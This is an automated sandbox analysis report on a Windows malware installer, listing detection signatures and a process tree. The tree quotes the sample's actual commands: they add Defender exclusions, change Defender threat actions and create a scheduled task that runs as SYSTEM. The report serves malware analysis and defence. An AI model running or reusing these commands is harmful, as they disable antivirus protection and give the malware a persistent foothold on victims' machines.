Analysis

  • max time kernel
    146s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2024, 05:04

General

  • Target

    be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe

  • Size

    8.2MB

  • MD5

    92aa67edf209696aa858930249900d59

  • SHA1

    8e4ce2fb83c251025d3621cefc14047e1a3fbab6

  • SHA256

    be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34

  • SHA512

    66689a55a1ae7843c7775aba5635b9209fa4337415cdb683de81993c929105de1a9249c44a16d19513c19951769d38e1d8771cab72f501dc77445adf89a923d6

  • SSDEEP

    196608:91Oyhrfn90vjbQL0MZMFoENqo0C029v7CGQp0waHFbd3D5A:3O2rojkLwFo51ETCGa0wapdtA

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe
    "C:\Users\Admin\AppData\Local\Temp\be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\Users\Admin\AppData\Local\Temp\7zS71A6.tmp\Install.exe
      .\Install.exe /oudidd "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:4176
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5096
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2540
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:116
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:364
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "bpJjqbWMDOjxkYrvBb" /SC once /ST 05:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\CAmidGC.exe\" Oz /sLsite_idPRu 385118 /S" /V1 /F
        3⤵
        • Drops file in Windows directory
        • Creates scheduled task(s)
        PID:4036
  • C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\CAmidGC.exe
    C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\CAmidGC.exe Oz /sLsite_idPRu 385118 /S
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3880
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4288
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1204
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:3960
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:3848
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:2916
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:3348
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:4848
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:4656
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:1452
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:2020
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:5084
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:1996
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:2112
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:1320
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4224
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:2272
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:2524
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:3516
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:1616
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:4292
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3612
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2008
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:3188
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:4068
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:2644
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:952
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:1596
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:2976
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4444
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:1584
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4948
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:2156
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:3568
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:1572
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:4800
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:3648
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:3356
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:1096
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:1724
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:3096
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:1100
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:4680
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:2012
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4816
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:3128
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3740
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1068
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:2408
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3044
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:2640
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:2200
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1544
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
